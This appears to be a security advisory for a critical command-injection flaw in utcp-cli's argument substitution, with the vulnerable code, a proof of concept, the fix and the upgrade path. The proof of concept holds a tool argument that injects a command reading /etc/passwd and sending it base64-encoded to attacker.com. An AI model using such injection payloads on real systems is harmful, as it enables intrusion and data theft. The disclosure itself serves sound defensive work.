The _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands.
plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py
def replace_placeholder(match):
arg_name = match.group(1)
if arg_name in tool_args:
return str(tool_args[arg_name]) # No escaping applied
The substituted command is then embedded directly into a shell script:
script_lines.append(f'{var_name}=$({substituted_command} 2>&1)')
And executed via:
shell_cmd = ['/bin/bash', '-c', script]
Given a tool defined as:
{"command": "python script.py --input UTCP_ARG_filename_UTCP_END"}
Calling with:
tool_args = {"filename": "data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)"}
Produces and executes:
CMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2>&1)
This results in full Remote Code Execution on the host system.
Fixed in utcp-cli 1.1.2. _substitute_utcp_args now shell-quotes every substituted value: shlex.quote on Unix, a PowerShell single-quoted literal on Windows. Each UTCP_ARG_..._UTCP_END placeholder therefore expands to exactly one shell token, blocking metacharacter injection (;, |, &, backticks, $(), newlines).
Behavior change: tools that relied on a single placeholder splitting into multiple shell tokens (e.g. UTCP_ARG_flags_UTCP_END -> --verbose --debug) must now use one placeholder per intended argument.
Upgrade to utcp-cli >= 1.1.2. There is no workaround in earlier versions short of refusing all attacker-controlled tool_args.
Reported by @ZeroXJacks.
{
"github_reviewed_at": "2026-05-14T20:56:01Z",
"github_reviewed": true,
"cwe_ids": [
"CWE-78"
],
"nvd_published_at": "2026-05-14T21:16:48Z",
"severity": "CRITICAL"
}